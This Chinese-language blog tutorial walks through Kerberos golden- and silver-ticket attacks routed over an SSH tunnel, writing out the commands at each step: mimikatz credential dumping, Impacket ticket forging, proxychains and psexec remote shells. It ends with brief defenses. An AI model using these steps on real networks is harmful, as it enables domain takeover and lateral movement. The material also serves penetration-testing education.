通過SSH隧道傳遞票證

  • 2019 年 10 月 4 日
  • 筆記

No.1

聲明

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。 雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

No.2

前言

PTT攻擊方法代替明文密碼或NTLM哈希的使用Kerberos票據。可能PTT最常見的用途是使用金色和銀色門票。通過PTT獲得對主機的訪問是相當簡單的

No.3

金票

你有普通域用戶權限,但是沒有域的權限,知道賬戶hash,krbtgt,krbtgt密碼未修改,該票據可以重新獲得域管理員權限,利用krbtgt的HASH值可以偽造生成任意的TGT(mimikatz),能夠繞過對任意用戶的賬號策略,讓用戶成為任意組的成員,可用於Kerberos認證的任何服務

  • 需要與DC通信
  • 需要krbtgt用戶的hash

要創建Golden Ticket,我們需要從目標域獲取以下信息:

  • krbtgt帳戶NT哈希
  • 域SID
  • 域FQDN

首先獲取域ID和krbtgt用戶hash:

mimikatz# lsadump::lsa /patch

我們將使用Impacket的示例腳本ticketer.py來創建Golden Ticket憑證緩存(ccache)文件。以下是為用戶創建ccache文件

./ticketer.py -nthash NT哈希 -domain-sid DOMAIN-SID -domain DOMAIN.FQDN

要使Impacket示例腳本能夠使用ccache文件進行身份驗證,而不是提供明文密碼或NT哈希,我們需要將KRB5CCNAME變量設置為ccache文件的絕對路徑:

export KRB5CCNAME=/path/to/ccache/file

驗證變量設置是否正確:

echo $KRB5CCNAME

現在我們可以將-k標誌與任何支持Kerberos身份驗證的Impacket腳本一起使用,以使用Golden Ticket,而不是提供明文密碼或NT哈希值。

No.4

名稱解析

為了確保Kerberos進程功能,我們需要修改/etc/hosts攻擊者計算機的文件,以包含目標域控制器的FQDN和目標主機的NetBIOS名稱的條目。

nano /etc/hosts

127.0.0.1localhost 192.168.75.128aaa.bbb(FQDN) 192.168.75.137 WIN-111(NETbios)

如果您還沒有域控制器的IP地址,請通過目標Linux主機上的SSH會話在目標域的FQDN上運行nslookup。例如:

nslookup -type=srv _ldap._tcp.aaa.bbb

No.5

Proxychains

我們將使用代理鏈通過SSH隧道路由我們的流量。通過查看配置文件的最後一行來驗證代理鏈端口,/etc/proxychains.conf默認情況下在Kali上。

創建一個SOCKS代理,代理鏈將路由流量

ssh [email protected] -D 1337

要驗證隧道是否已正確設置,我們可以使用代理鏈對目標主機的端口445運行nmap TCP連接掃描:

proxychains nmap -sT -Pn -p445 192.168.75.137

No.6

時間同步

運行以下命令將返回交互式CMD提示:

proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>

No.7

啟動攻擊

運行以下命令將返回交互式CMD提示:

proxychains ./psexec.py user@WIN-111 -k -no-pass

也可以用MSF

use exploit/windows/smb/psexec_psh

No.8

銀票

兩個票據之間的區別:

訪問權限不同

Golden Ticket:偽造TGT,可以獲取任何Kerberos服務權限 Silver Ticket:偽造TGS,只能訪問指定的服務

加密方式不同

Golden Ticket :由Kerberos的Hash加密 Silver Ticket :由服務賬號(通常為計算機賬戶)Hash加密

認證流程不一樣

Golden Ticket 的利用過程需要訪問域控,而Silver Ticket不需要

No.9

偽造票據

要生成銀票,我們需要以下信息:

  • 目標主機帳戶NTLM哈希
  • 目標主機FQDN
  • 目標服務
  • 域SID
  • 域FQDN

使用Mimikatz的Kerberos模塊生成Silver Ticket :

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

退出Mimikatz並啟動Kekeo。使用以下語法將kirbi文件轉換為ccache文件:

misc::convert ccache /path/to/ticket.kirbi

您可以使用以下語法轉換多個kirbi票證:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi …

將ccache文件Kekeo輸出複製到攻擊Linux主機。確保在Linux主機上記下文件的絕對路徑; 我們需要它來設置KRB5CCNAME變量。其餘的攻擊使用我們的Linux主機。

No.10

攻擊設置

剩餘的Silver Ticket攻擊設置與Golden Ticket攻擊大致類似,但有兩個例外。

首先,我們需要在/etc/hosts文件中提供目標主機的FQDN ,而不是NetBIOS名稱。對於我們的示例,該/etc/hosts文件應如下所示:

127.0.0.1localhost 192.168.26.129aaa.bbb 192.168.26.128 WIN-111.aaa.bbb

第二個區別是我們需要將攻擊機器的時間與目標主機同步; Silver Tickets不與目標的域控制器通信。

按照與上面的Golden Ticket攻擊相同的步驟設置KRB5CCNAME變量,驗證代理鏈配置,使用SOCKS代理建立SSH隧道,並使用nmap驗證隧道。

No.11

啟動攻擊

我們現在可以psexec.py針對目標主機的FQDN 啟動攻擊:

proxychains python psexec.py [email protected] -k -no-pass

No.12

防禦手段

針對黃金票據 1.設置域管理員權限,只允許登陸域管服務器和少數管理服務器,同時也不能讓其他管理員賬戶登陸個人主機,這樣可以有效防止攻擊者獲取到域管權限從而竊取ntds.dit,以此防止獲取KBRBTHGT賬戶hash。 2.禁用KRBTGT賬戶,此時在Kerberos票據進行簽署PAC並加密TGT時,會檢查KRBTGT以前的密碼來進行驗證,保存好以前的密碼。 3.定期更換KRBTHTGT密碼,確保每年至少更改一次密碼 4.當攻擊者創建黃金票據時,通過快速更改密碼,使其失效。 針對白銀票據 1.盡量保證服務器憑證不被竊取 2.開啟PAC (Privileged Attribute Certificate) 特權屬性證書保護功能。

END